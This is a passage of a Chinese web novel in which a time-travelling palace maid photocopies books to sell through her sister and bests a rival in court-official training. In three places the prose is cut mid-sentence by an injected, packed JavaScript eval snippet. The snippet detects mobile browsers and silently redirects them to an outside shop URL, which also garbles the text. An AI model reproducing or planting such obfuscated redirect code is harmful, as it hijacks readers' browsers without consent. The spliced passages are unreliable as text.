“都一个价,一本300,四本一起1贯。”这个定价不是宛铮瞎说,是宛东说的。 “300什么?300金吗?”沈星澜小心开口。确实是要比书坊的便宜,可还是很贵,她得回家和母亲商量。 “什么金啊,我说铜币,铜币!”宛铮开口。 “铜币!”人群中还有不少书院同学,一听见300铜币一本书,全都齐齐叫了起来。 “我要了!”林淮清大喊。 “我先来的!”旁边另外一个女子带着书童微笑开口。 “我全包了!”沈星澜道。 “不能买断,一人最多一套。要那么多一样的书干嘛!”宛铮拒绝。 “是我的!”林淮清扑向摊子上的《论语》。 “按顺序按顺序!” …… 一柱香的时间都不到,宛铮的书就立马卖光了。四天前,她抄完了一套四书,托人给宫里的姐姐宛东送了过去。 没想到今天早上送回来的竟然真是一模一样的4套书。 只是那纸,可比她用的草纸好多了。 她还来不及震惊姐姐是用的什么法子搞的这样一模一样的书,想到今天是收账日,就赶紧过来卖书了。 一本300钱,一套1000钱,她卖出去了2整套和8本单本,一共挣了4400钱。 “还你钱!”宛铮数出3贯钱的本金和200钱的利息递给李金斗。 李金斗连连点头,她也完全没想到,这宛铮是有两下子,“你有这么好的抄本,咋不早说!”收到账的她喜笑颜开。 “什么时候带我和姥姥去俊香楼吃饭?” “你看你说的,没问题,这就去!” * 林淮清这日出了书院,依旧没有回家,而是带着书包和书童直奔书院后山。 她要参加“聆风词会”。 “聆风词会”是聆风书院多年来的传统,原本是先前一位书院的老师发起,每个月召集一些文人墨客在书院后面的山坡上赏花看山,吟诗作对。 久而久之,声名远扬。 名声大了后,人也多了。原本只要一壶清茶,半匣子点心就足够的三五好友的小聚变成了京城名流的宴会。 既然是宴会,就不止为诗词歌赋而来,词会也成了一些达官贵人的贸易合作的契机,还有不少帅气的少爷们也来这里想要寻一门好亲事。 学院中喜欢热闹或者家庭条件好的学生必然会来,无论对诗词歌赋是否感兴趣,拿一些珍贵器具来展示也是极好的,甚至有时候一场词会下来,吟诗作赋者无人问津,奇珍异宝却引得众人欢呼。 诗文词话不足,攀比之风有余。 “淮清妹妹!你今天怎么也来了!平日里不是从来不参加词会的吗?”沈星澜兴奋地在身后喊道。 “星澜姐姐,好巧,我呀就是来凑个热闹,听说柳家二少爷要展示一件上等的珍宝,我也想一睹风采。” 林淮清是不愿意参加这种集会的,她母亲林梓寅在少府监任中尚署令,少府监掌管百工技巧。中尚署是少府监下属机构,主要管理国家郊祀所用的供器、中宫服饰、珍宝等供给,中尚署令说来好听,但其实就是个从六品职位。 在京城名流这种遍地都有官职的地方,从六品实在算不上什么大官,她自然也不愿意参加那些按照官职、财富区分的集会。 她对珍宝也不感兴趣,她今天来纯粹是为了报仇。上次柳二少不知道抽了什么邪风,硬是把她在城郊选好的马加价夺了去,还当着众人面奚落她和她家没钱…… 钱……确实是没有。 按说什么奇珍异宝、锦衣华服都要在中尚署走一遍,这职位虽然权力不大,油水可不少。 可林梓寅为人清廉。林府只有一处祖宅算是比较值钱的。但只要进了府里,就会发现府里只有板凳矮几粗茶淡饭。 从六品也是朝廷官员,怎可容他人奚落。林淮清摸了摸书包里的宝贝。此仇不报非女子。 “是是,柳家富可敌国,拿出的宝物肯定是稀罕的,你可真是来对了,走,我带你挑个好位子去。”沈星澜拉着林淮清就往前面走去。 这集会,实在是璀璨夺目。书院后的山坡哪还是山坡,全都叫人盖了石头亭子和连廊,冬天山坡上的花草衰败,没什么草色,但下过雪后,这里白雪皑皑,又有红亭、青山映衬,别有一番风味。 靠近亭子的地方人是最多的,因为每个人展示珍宝都要走上亭子来,亭子下面俨然成为了头排观看席。 林淮清看见不少面熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳千严听着众人的称赞,心中一阵高兴。 柳家世代行商,这么多年家里积累的财富买不下一城也能买下半城了。只可惜柳家生不出女儿,男子又是进不了学府或者书院的,他从小接触到的就是经商、算账,很少有和纸墨打交道的时候。 虽然从小到大过他手里的奇珍异宝多了,听到的称赞也多了,但是这次格外不同,可能是因为这宝贝和纸墨挨边,让他觉得自己也算半个文人墨客了。 林淮清一看他拿出来的宝贝,心里更是开心得不得了,她原以为他会拿出什么夜明珠之类的,没想到也是纸。 这简直太对路子了,同类比同类可是精准打击啊。 她刚要拿出手中的《论语》,但又觉得太主动反而效果不好。 于是就上前去,轻轻摸了摸柳千严出示的纸张,仿佛怕弄破了一般小心。 “我说林淮清,你怕是从没见过这么名贵的东西吧,对了,听说你在书院连本像样的抄本都买不起?!”柳千严站在旁边握了握手中的铜制汤婆子。 众人一阵哄笑。 12. 第十二章 “我……”林淮清支支吾吾。 “哎呀,穷也不是问题呀,人穷也就罢了,志不能短呀,你没钱买不起手抄本,该不会上课只能干听老师讲书吧?” 柳千严终于找到机会刺痛林淮清,自然是使劲奚落。 “要不这样,你给我抄一本,我给你点钱好了,对了,纸该不会也买不起吧!” 众人笑得更加畅快。 “我有手抄本,但是不会卖。”林淮清的语气中少了几分唯唯诺诺。 “好了好了,大家来词会不就是图一乐吗,怎么还比较上了。”沈星澜赶紧冲出来打圆场,她祖母官拜二品,说话几乎没什么人敢反驳。 “星澜姐你就向着她吧,没有手抄本怎么好意思去书院!”柳千严道。 “我有,只是不愿意示人。”林淮清紧紧盯着身边书童手里的书包。 “哈哈哈哈哈,一个手抄本,看给你稀罕的,果真是穷酸!”柳千严笑得畅快。 “不瞒柳少爷所说,这抄本确实是稀罕之物,尤其是纸张更是珍贵,在下此前闻所未闻。” “荒唐!那还能有我刚展示的‘水纹纸’更罕见吗?” “这……”林淮清似乎迟疑了,她看着柳千严自信的表情只为难道,“各有千秋。” 当日沈星澜和林淮清一起去的书摊,沈星澜也买了书回来。 她一下就意识到林淮清来此词会的目的,那书确实稀奇,一旦拿出来,柳公子可就落了下风。她不想林淮清四处惹事,便拽着她想要离开,“淮清!休得胡闹!” “别别!星澜姐,这林大小姐说的宝贝,没准真的值上两贯钱呢,怎么也得拿出来给大家伙瞧瞧呀!”柳千严拦住她们两个人的去路,一脸不给看不让走的做派。 “还是不了吧,”林淮清道,“要是万一我的宝贝更……”她顿了顿,“算了,拂了柳二少爷的面子要被怪罪的。” “你放心,有更好的宝贝咱们一起鉴赏,哪能怪你!”柳千严拽住林淮清书童手里的书包。 沈星澜心下叹气,她看向柳千严的眼光中带着一点怜悯。 “好吧……”林淮清对墨琴点点头,墨琴将书包拿下来,从中翻找起来。 柳千严紧紧地盯着,生怕漏掉什么重要的细节。 那书包已经被洗得发白,两根布条袋子也有点磨边,看起来应该背了有段时日了,他鄙夷地撇撇嘴。 但是很快他就愣怔在当场。 只见那书童从中拿出一本册子,册子封皮是浅蓝色,那色泽,恐怕就是布坊也染不出这么亮丽的蓝,比晴空更加耀眼。 再看那封皮质地,竟然表面凹凸,布满了纹路。 和他刚刚展示的水纹纸不同,这纸更厚更不易破,上面的纹理也更加清晰深刻。他不由得摸了一下,上面的纹路高低不平,但是纸面却是细腻的。 水纹纸之所以能够出现深浅的纹路,是在制作的时候将纸放在混有墨水的特质液体中浸透,再晾干就会出现漂亮如水波样的水印。 而林淮清手里的封皮却并不是这样,纹路不是水印上去的,倒像是凿刻上去的,可是怎么会有人能够这样密集均匀地在纸上雕出纹路却又不使得纸张穿透? 这是什么工艺,竟然能让平滑的纸浆出现如山川般的沟壑? 柳千严表情严肃起来,周围人看见这册《论语》全都说不出话来。 没想到这林淮清还真有宝贝。 墨琴翻开封皮,里面的纸更是让众人惊叹。 纯白色的纸面光滑细致,黑色的字体飘逸有力,可是纸上却没有透墨的脏污,厚厚的纸张竟然迎着日光都照不透,再看柳千严手中那轻薄的水纹纸,高下立现。 “这真是……这纸真是上好!”不知道人群中谁说了一句,周围人也纷纷附和,将那抄本团团围住。 “太滑了,而且很厚实,不知道用了多厚的竹浆……” “这字真不错,不知用的是哪家的墨,竟然如此漆黑。” “这种纸有一张已经是羡煞旁人,林大小姐竟然有整整一册!简直是令我等大开眼界!” 柳千严面色发红,他几乎就要站不稳,本想着拿着水波纹纸来词会能够让人眼前一亮,借此机会正好宣传一下柳家的财力,没想到全被毁了。 他双手颤抖,气急败坏,“这也不是什么上好的纸!” “嗯嗯,一般,我就是在一个书摊随便买的。”林淮清应道。 “哪个书摊?”柳千严赶忙问。 “不是什么好抄本,柳二少不必在意。”林淮清将书册收好放回包里,和沈星澜告辞后,扬长而去。 只留下一众还在回味的看客和捂着胸口大喘气的柳千严。 * 另一边,柳宛东正靠在浣衣局的榻上算账。 上次宛铮拿过来的四书的手抄本,那四个抄本是16开的麻纸本,也就是A5大小。四本下来总共大概500页,她送到淘宝的网上复印店复印了4套。 她原本是想用比较薄的宣纸来复印,能最大程度地符合古代的薄纸,但是复印店老板说宣纸容易破,而且复印起来极其不方便,她干脆就选择质量比较好的道林纸。 道林纸挺括平滑,白度高,吸墨性好,是20世纪初从国外引进国内的。这种技术在古代肯定没有,但她也顾不上,反正系统会回收用不到的废品,她不担心这些东西对后代的考古有什么影响。 封皮的装订倒是有很多种,她只选择了最普通的皮纹纸胶装。 500页全都是双面复印,复印4套,就是2000页,黑白双面5分钱1面,合1毛钱1张,内页总共200块。皮纹纸胶装且在封面印字每本要再多3元,她和老板讲了价,老板免了胶装封皮钱,只收她内页的复印钱。 手抄本邮寄到店里的邮费是20块钱,邮寄回来不要钱,包邮。 也就是说这4套16本书总共花费了220块钱。 挣了3400钱,利润可是十倍不止呢!简直赚翻了! 她又到网上看了一下大的打印机和胶装的机器,价格不菲。现在还买不起,她还给宛铮送了本《聊斋》,这个时代《聊斋》还没问世呢。 到时话本子抄好她继续复印,这样课本和小说两条流水线,毕竟这两样在哪个朝代都是客流量很大的。 等到以后姥姥和宛铮卖书挣多些钱,就可以找个合适的地方,盘一间小店,进两台大的打印机,开个复印店,要价低廉些,专做“书坊”生意,这样就不用再风餐露宿,各处奔波了。 要知道,无论是在哪个大学,复印店和书店都是非常暴利的生意! 卖书的钱只算她入股,她出不去,只能完成复印的流程,其他的售卖环节还得要姥姥和宛铮完成,所以除了成本外,她只收2成利润。 宛铮已经写信把当日卖书的情形以及分给她的利润和书的成本钱一共856钱全送了过来。 最近宫里找她买东西的人颇多,各种商品卖得都火,她淘宝账户里已经有了3476.06元。 再算上670文的月例,她将这些钱全都折成淘宝币,放进淘宝账户里,最终账户里的数字破了五千大关,显示为5002.06元。 计算完这些,她又整理了自己的行李,昨日女官选拔名单已出,她赫然在列。看样子,政审是通过了。 明日就要去武英司报道了。 * 宛铮背着背篓看着对街的俊香楼。 这次她背篓里还是书,只不过不是四书五经,那些书是专门给书院学生的,今天她在俊香楼可不卖那些。 除了《四书》以外,《五经》和《诗词选》也抄完了,她原本是想再把《说文解字》这种工具书抄下来送到姐姐那里去。 结果宛东说《说文解字》太厚,没有十天半月抄不完,给了她一本书让她照抄,顺便还让手绘上一些插图,彩色最好。 她将信将疑,好在她平日里喜欢绘画,画出来也像是那么回事。街东头的木匠李婆打柜子的时候经常让她帮忙描花样,花鸟鱼虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911267|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、飞禽走兽、人物景色她都会一点。 俊香楼是酒楼,一楼是普通饭店,卖一些家常热菜,也有冷碟,俊香楼的烧鸭子和酱牛肉很好吃。不过俊香楼最出名的不是饭菜,而是二楼年轻貌美的帅小伙们,个顶个的帅、温柔。 这些小伙子从小家境贫寒,又没什么文化,能吃苦的去跑码头做苦力或者东市西市做买卖,不能吃苦皮相好点的就来了这俊香楼。 俊香楼生意好,里头的小伙子们挣得也多,不过能花出去的地方除了胭脂水粉外也没别的了,毕竟这里包吃包住,乐器和衣服全都供应,这里上工的小哥们虽然干的是伺候人的活计,手里的钱可比仆役多多了。 宛铮刚走到后门,就看见几个帅小伙正在送一位富家女子出门,“姐姐,下次给您弹新曲儿,常来啊常来!” “这是……”魏林林上下打量了宛铮一眼,看她皮肤黝黑,衣着朴素,不像是富贵人家,就语气恶劣,“不来玩的一边去,别在这堵着门!” “我来卖书,各位有要话本的吗?”宛铮赶紧道。 “不买不买,走走走!”魏林林手一摆,门口总是有人来卖些胭脂水粉的,过年还有福字对子,质量都一般,除了客人,他不愿意要这些上门的。 “话本子?”魏林林身边的宋七来了兴趣。“那故事不都是说书先生讲的吗,怎么还有卖书的?给我看看!” 纸张如此稀少,竟然有人不抄诗词歌赋,专抄些个话本子? 宛铮递给他一本册子,他一看,封皮是浅粉色的,画着花鸟鱼虫,装订非常之精美,一侧全都打出了圆圆的孔洞,用粗棉线缝着。 封面写着《聊斋》。 宋七没听说过有叫这名字的话本子,翻开一看,里面竟然真是娟秀的小字,抚摸上柔滑的纸面,他心中赞叹,就真的开始读里面的故事。 “我瞧瞧!”魏林林也探身一看。 正巧宋七翻过写满字的一面,下一面映入眼帘的是一整张彩绘插画。 这画上精细地画着人物图,是两个主人公初见的场面,上京赶考的穷小姐和等待在寺庙里的俏丽帅小伙绘得惟妙惟肖,就连身侧的小猫都是栩栩如生![1] 这还不是最好的,最主要是图上粉、青、蓝、绿各种颜色都有,头发上的粉色珠簪和手里的粉色手帕还不是一种粉! 太细致了,太生动了!而且故事引人入胜,字体舒适,两个人如饥似渴地看了一会后想要再翻篇。 书被一把夺走。 “你们全都看完了,我书还卖不卖?” 宋七和魏林林对视一眼,都从彼此眼中看到些想买的渴望,可是这么好的纸张和绘图,得多少钱。 “多少钱呀!” “通通都是500文。”宛铮敞开背篓,那里还有数十本类似制式的抄本,只不过封面全都画着不同的图。 只要半贯钱?就能买到这样巧夺天工的抄本? 宋七按捺住激动的心情,他都想买,但是这种天大的好事让他警惕,他生怕是什么骗局,就只买了两本。 魏林林也同样买了不一样的两本。 其余几个人犹豫着也买了,不一会后门聚齐不少人,不仅仅是他们这些男子买,还有不少恩客小姐也买了。 “等等!” 宛铮抬头,眼前站着一个男子,这人打量了她手中的书,“你是不是也卖四书?” “是,公子想要,我明天可以送到府上去。” “《论语》多少钱一本?”柳千严再问。 “300钱,不带图的都这价。” 柳千严听罢呆滞了一瞬,意识到林淮清手中抄本的由来,对天怒吼道,“林淮清你竟敢耍我?!” 他在仆从的搀扶下走了两步,又折回来,上下打量了宛铮一眼,“这么好的纸却只卖300钱,你的纸是偷是抢?” “这是我自家的纸!”宛铮道,姐姐的纸就是自己家里的纸。 “不偷不抢?那就是故意低价售卖扰乱市场了?我要告官!” 13. 第十三章 清晨,大雪。 武英司的赵司正拿着一根柳条制作的鞭子站在教室最前。 她穿一身翠色司正宫服,挽了一个凌云髻,所有头发都高高地盘在发顶,两侧用簪子固定,因为头上就出现这么一只单髻,似是要高耸入云,颇有气场,所以叫凌云髻。 赵司正一站在教室前面,教室里几乎没有什么学生在,她站了一会,学生才陆陆续续地走进来。 “全都端正坐好!都到齐了吗?”赵司正问管教老师。 “还差三位。”管教老师点数着教室里的人数,迅速得出结论。 还差三位?赵同惠皱了皱眉,今天可是第一天正式培训,竟然有人不早早来教室等候,真是一届比一届差。 “铃铃铃!”早课的铃声响起,柳宛东和同寝两个女孩踩着铃声出现在教室里。 教室里一片寂静,所有人的目光全都集中在她们身上,柳宛东看到那天考试的主考官就拿着根柳条站在教室正中。 她迅速找到教室里的空位坐了上去。 她们寝起得很早,只是……梳洗太耽误功夫。 踩点不算迟到,而且她并不是故意要踩点的,实在是因为每天梳头成了她的难题。 以前在浣衣局,她只用扎双丫髻,也就是用木梳从头发正中分印,将头发均分为左右两股,将这两股头发分别用丝绳缠绕在头两侧。双丫髻是最基础的发型,她能够凭借宫女宛东的记忆和肌肉记忆熟练扎好。 现在当上女官预备役了,双丫髻就显得没那么成熟庄重了,她必须要换个发型。 青鸾朝的女子发型简直多如牛毛,堕马髻、灵蛇髻、双鬟望仙髻,牡丹头、惊鸿髻、垂鬟分肖髻…… 各式各样应有尽有,但是每一个发髻的难度对于她一个现代人来说堪比登天。今天这个发髻是她早起半个时辰努力扎的,还是有点松散。 “以后上早课,必须在铃声响起前进入教室,怎可如此懒散,谁再迟到谁就去领板子!”赵同惠很生气,她一眼就认出来这个宛东正是女官考试当天的那个考生,端庄不足,小聪明倒是很多。 “司正我有一个提议。”和柳宛东同寝的丹桂举手,她正是最后进屋的三个人之一,她早早起来只是想梳一个好看的发型罢了,这也有错,为什么要受罚呢。 “你说。” “不如这样,以后谁最后一个迟到,谁就去刷恭桶。”丹桂的眼神飘向宛东,虽然她们寝的三个人动作都不快,显然宛东是最不快的那个,今早看到她梳头的样子就知道,宛东是个笨的,有最笨的垫底,她就不用担心了。 更何况,一个浣衣局的小宫女,被罚了也没什么。 她很期待明天早晨看到宛东苦哈哈刷恭桶的样子。 “好,就这样,早课铃响之后进入教室的最后一个人就去刷恭桶。大家务必端正态度,保持良好作息!” 柳宛东坐在教室前面,她侧身回头,正对上丹桂笑嘻嘻的眼神,她明显看出那眼神中的戏谑,她没有说话。 “此次报名女官选拔的一共有1731人,通过笔试、体检、审查的人一共67人,想必大家都是官女子中的佼佼者,接下来是为期1个月的基础培训,这期间的培训由我来负责,我会给大家安排不同的课程,请熟练的老师来教导大家,需要大家熟记宫规、学习各项技能。”赵同惠道。 “培训期间,你们所有人吃住都要在武英司,而且每个人的考核表现全都会被记录在册,如果不合格会被踢出武英司,还请诸位笃行不怠,谨言慎行。” “今天雪下得大,上午的任务就是去扫雪。你,扫这边墙根,你扫那边连廊,你……”赵同惠给每个人分配好该扫的地方,“大家去那边领工具,扫完了再去吃午饭。” 这场大雪真大,从昨天晚上开始下,一直到今天凌晨才停,地上的积雪已经没过脚踝,行走非常费力。 扫雪是个技术活,毕竟地面上的雪不是薄薄一层,工具选择的不同会大大影响扫雪的效果。 “我要雪铲和簸萁!” “给我扫帚和木盆!” “给我点盐。”柳宛东对着发工具的管教老师道。 “要盐干什么?你用盐扫雪?” “对。” “浣衣局来的怕不是只会洗衣服吧?”丹桂摇摇头,拿着手里的扫帚走了。 “哈哈哈哈!”周围哄笑声响起。 很快柳宛东要盐的事情就传开了,几乎每个人听了之后都是哈哈大笑,这事情甚至一度传到赵同惠那里。 “她要盐就给她盐,我倒要看看她要干嘛。” 扫雪的最佳时机应该是雪刚停的时候,这会没有行人走过,大雪还是蓬松的,好扫。再玩会有路人把雪踩实或者接近地面的雪结冰就会很难扫清雪,得用雪铲使劲铲了。 柳宛东分到的就是这种难铲的区域。她负责的是大门口外的斜坡,这门口人来人往,雪结实地糊在土地上,一踩一出溜。甚至还有的地方冻成了冰。 管教老师给了她一桶盐。古代的制盐技术没那么好,盐颗粒比较粗。 好在斜坡占地面积并不大,她将盐均匀地洒在斜坡上,看似结实的雪地混合了盐,立马就化成了雪水。 盐能够改变水的凝固点,使得冰雪在0℃以下也能融化。 根本不用铲子,坡上全是湿漉漉的水。 她将雪水扫干净,露出下面湿漉漉的土地,便往饭堂走去。 丹桂负责的地方是大门口里面,她眼睁睁看着柳宛东在门口外动作几下就往饭堂走去,她心道“不干活就吃饭”。 赵同惠和管教老师们正在食堂吃饭,没想到第一个进入食堂的人竟然是柳宛东?! “你扫好雪了?” “扫好了,请赵司正和管教老师验收。” 赵同惠和管教老师走出去,只看见斜坡上面已经没有一点白色,早上大家小心搀扶上斜坡的场景还历历在目,现在地上湿漉漉的,竟然只像是下了一场雨一样,一点冰雪都没有了。 赵同惠微微颌首,“有两下子。” 丹桂请管教老师检查自己负责的地方,她刚才认真地把浮雪用扫帚扫走,用铁锨把最下层冻硬的雪铲走,最后又用扫帚重新仔细地清扫了一下。地上除了坑洼处有点扫不干净的雪,其他地方都露出了土地本来的样子。 “不错,很干净,”管教老师拿着册子,用笔在上面写写画画,丹桂看见老师给自己的排名是第二。 竟然还有比自己清扫得更细致的人吗? “这盐真管事吧,你看那宛东做得是最干净的。” “谁能想到用盐这方法,真好,你看这掺了盐的雪水,怎么都不结冰。” “刚才还笑她呢,现在想想,该笑话自己!” 丹桂听见周围人的议论,就走出大门探头看柳宛东的作业,那斜坡干干净净,比她的不知道干净多少倍。 她瘪瘪嘴。 * 又是一天清晨,院外起床铃铛“铃铃铃”地响了起来。 绮罗一下子爬起来,开始在房间里梳头打扮,不一会丹桂也起来了,只有宛东迟迟没有动静。 绮罗头梳到一半,还是没见到宛东的人影,她边编头发边走过去看,她们这是个三人间,榻上其他两床被褥已经整整齐齐叠成长方形,摞在一边,只有柳宛东的被子还铺着,她在被子里缩成一团睡得正香。 “我的老天奶!几点了宛东!你还睡呢,今天的早课司正还要来检查,可千万不能迟到!” “几点了?”柳宛东迷迷糊糊地翻了个身,她抬头看了看窗外的天色,嘟囔着“再睡五分钟”,就又闭上了眼睛。 “哼!她就是个大懒虫,你别理她。”丹桂坐在铜镜前,用木梳沾了沾手边铜盆里的“刨花水”,轻甩了两下,再缓缓梳起头发。 这“刨花水”是昨天晚上新做的,听说檀木的定型效果最好,她专门刨了好多檀木花留着做梳头水,梳过刨花水的头发更顺滑,更容易簪发。 梳通头发后,就可以编发了,丹桂今天计划给自己扎一个“双鬟望仙髻”,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911268|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发髻是将两股头发呈现中空环状固定在发顶,做出来有一定难度,但做好了就会显得人非常温柔又不失活泼,今天的早课赵司正要来检查,她要给她留下一个好印象。 毕竟,良好的仪容仪表也是一个女官必备的素质,也在考核范围内。 青鸾朝以浓发为美,然而并不是所有人天生都是多发量,所以假发就非常流行,甚至成为女男的标配。 丹桂的头发不多,所以她需要带上假发来完成发型。 她将手边放着的由黑色丝线缠绕在薄木片上制成的假发块放置在头顶上,再用自己的真发层层缠在上边,最后簪上浅粉色的绒花发饰,这样一个凌云髻就编好了。 她认真编着自己的头发,根本没注意到绮罗已经出门了。眼看着马上又要迟到了。她快速整理好头发,穿好外衣,起身出门。 临出门的时候宛东的被褥还铺在榻上,看不见宛东的头,只看见被子里缩了一团鼓鼓的东西。 她站在门口,深深看了一眼,并没有上前叫醒那被子里的人,而是带上门走了。 从寝室到早课教室有一段距离,路上她看见别的寝室的女孩全都手忙脚乱地往早课教室跑,她一边整理头发一边闲庭信步。 那些人着急就着急去吧,只有她自己知道,迟到的最后一个人才用去刷恭桶,她屋子里还有一个柳宛东垫底呢,她才不怕,跑太快会把她的发髻搞乱。 她家是京城大家,母亲在前朝是从三品的官员,一个浣衣局的宫女也能来武英司和她平起平坐?而且她搞不懂为什么大家都很喜欢这个浣衣女,就凭她会卖点什么“暖宝宝”?那东西有什么用,还不如她的铜制汤婆子好用。 早课教室里。 赵同惠站在教室里等待早课铃声,还有不到半柱香的时间铃声就会响起,她上次早课已经向大家强调了按时上课的重要性,也立下了规矩,今天第一天实行,她一定要抓个典型,让这届学生重视起来。 看着陆续跑进屋的学生们她不断地在心里数人头。 64、65。 还差两个。 赵同惠等得脸黑,前面的两个管教老师从没看过她这样生气,全都大气不敢喘,只教各位学生提前拿出课本温习。 赵同惠的目光扫视过教室,诸多低头的身影里她并没有看见那个头发总是扎得松松垮垮的宛东,气不打一处来,这67个学生,大多都是出自名门世家,再不济也是有钱的富绅,只有那么几个人是从低位宫女选拔上来的。 那些宫女自知没有家族依仗,机会来之不易,全都勤奋刻苦,只有这个宛东,本身就是最底层浣衣局的宫女,真以为进了武英司就飞上枝头了? 真要表现不好,那可是能被退回去的!以后的路还远着呢! 66。又进来一个。 此时早课铃声已经响起,得了,赵同惠心下了然,最后这个宛东恐怕又是要踩点了。 她正要关上教室的木门,一个甜甜的声音响起,“司正,早。” 这是第67位,最后一位。 赵同惠看着眼前穿得花枝招展、头发梳得繁复耀眼的女子。 丹桂? “你迟到了!” “不好意思,司正,今日我习得了一个新发型,耽误了时间,下次肯定不会再这样了。”丹桂气质温润,说出的话也是极动听的。 但是赵同惠并不吃这套。 “你是今天最后一个进教室的人,按着咱们之前的约定,下课后去恭房刷恭桶吧。” “我?最后?”丹桂像是听见了什么滑稽的笑话,她立马反驳,“怎么是我最后呢,宛东还没来呢!” 赵同惠确实没看见宛东的身影,可教室中的座位几乎都坐满了,就差一个。 她直接让管教老师在前头点名,所有同学在座位上坐好,被点到名字的站起来回答“到”再坐下。 “洛云。” “到。” “绮罗。” “到。” …… “宛东。” 14.第十四章 “到。” 一个响亮的应答,柳宛东从教室第一排最右侧站起来,她衣冠规整,挽了一个沉稳低调的云溪髻,那发髻是多股头发层叠在头顶上,整齐大方,每一股头发都像是数过那样均分好的,扎得又光洁又有层次。 应该是下了好一番功夫的。 总之,柳宛东整个人焕然一新地站在教室前排,桌子上的书摊开着,显然正在温习。 和原本的想象有点不同。赵同惠的脸色和缓下来。 “怎么可能!”丹桂睁大了眼睛,不对啊,不对! 宛东不是在被子里睡觉吗,怎么现在会在教室里。 脑袋乱成一团,她生气地喊起来,“我蘸梳头水的时候她还在被子里睡觉呢!” “在你编发的时候我就已经出门了。”柳宛东微笑。 “可是……可是,我刚梳头的时候,你还在被窝里说要多睡一会,编发不过就是一小会的功夫,你怎么可能在这么短的时间里又穿衣服又洗脸梳头?”丹桂有点反应不过来了,但是宛东就站在眼前,这是做不了假的。 “是真的。宛东和我一起出的门。”坐在门口的绮罗拽了拽丹桂的衣服,让她别说了。 丹桂意识到什么,愤怒地盯着柳宛东。 “你故意骗我?!” “骗你?我有说谎吗?”柳宛东表情疑惑。 “如果你好心去叫我应该不难发现我只是把枕头放在被子里了,那你应该就不会迟到。”柳宛东道。 所以说,有的时候,与别人方便就是与自己方便。 丹桂表情狰狞,她知道她着了宛东的道了。 最主要的是,丹桂马上就要去刷恭桶了,她自小长到这么大,从来都是大小姐,十指不沾阳春水,从来没干过这种事啊! “安静,现在在点名,不许说旁的。” 点够了前面的66人。 “丹桂。” “到。”丹桂嗫嚅着,她的眼圈红了,就算她再不想相信,再挣扎,事实确实如此。 她就是铃响过后迟到的第一个人也是最后一个人。 早课完成后,丹桂在众人的目视下缓缓走向了恭房,恭房就在教室旁边,很近。 但是她走得却很漫长,这简直是她人生中最最漫长的一个课间了。 “快点走啊丹桂,一会该上课了,耽误一个人一小会儿,一群人可就是66个一小会儿!” 磨蹭到恭房那里,她一走进去,几乎所有同学全都扒在恭房门口看。 恭房没有门,只有一道半高的折墙作为遮挡,无论丹桂怎么蹲身,都没有办法避开众人的目光。 墙外面站了好多人,全都在小声地窃窃私语,所有人都把目光集中在她身上。 她刚碰了桶就听见一阵笑声,再拿起鬃毛刷又听见一阵笑声。 “都在看什么!你们也不嫌臭!”丹桂实在挂不住脸,她怒吼一声。 “有多臭只有刷恭桶的人知道。”人群中不知谁说了一声。 “哈哈哈哈哈哈!”哄笑声如海浪一般拍向丹桂。 她胡乱地把刷子伸进桶里,想要快速完事,但是那种触感、那种气味,熏得她一阵头晕。 “yue!”她干呕了一声! “哈哈哈哈哈哈哈!”笑声更加密集,甚至比恭桶的气味还要猛烈。 丹桂干脆放下刷子,气冲冲地跑向教室另一边的休息房,休息房是所有老师可见休息和办公的地方。 “我要检举,检举宛东昨日束发睡觉。” 青鸾朝有明确的法律规定,无论女男,宵禁后不能束发,必须洗梳好后才能就寝,且不得带荆钗、假发入睡。 这是一项很重的罪名,如果属实的话就是触犯了青鸾的法条,是要按律法受刑的。 “你有何证据?”管教老师表情严肃。 “今早我蘸梳头水的时候她还在被窝里躺着,可刚才在教室里,她却说在我编发的时候她就已经出门了?这么短的时间连两股盘头都扎不完,她又怎么可能顶着梳得那么好的云溪髻来上课?” 这话确实很有道理,就算有人洗脸穿衣快,但是想要梳好云溪髻并不容易。 这种发型需要将头发分成前区、中区和后区,前区还要再分为两股。 编发的时候要先把前区的头发固定住,先编后区,后区的头发编成辫子后一圈一圈缠绕在脑后形成发包,然后再把前区的头发和中区的头发一起分成多股编成云溪髻,中间需要用发绳和簪子多次固定,最后前区的头发还要拉住发根保持蓬松,来显示更多的发量。 当然,如果想要用假发来显示发量,那还会有固定假发的流程,花费的时间会更长。 总之没个大半个时辰是编不出来的。 丹桂说得不无道理。 她的话一出,跟着她来到休息房的同学们也都窃窃私语起来,如果宛东真的束发睡觉,那这处罚可比刷恭桶要严重多了。 “我并没有束发睡觉。”宛东也在人群中,她开口道。“我只是用了最快的速度去梳洗盘发。” “可寝室里的铜镜就只有一个,我根本没有看到你在镜前梳妆!” “我无需在镜前梳妆就可以梳洗好。” “笑话!你是说你这样规整复杂的头发不用照镜子就能做得又快又好?”丹桂意识到自己抓住了她的把柄。 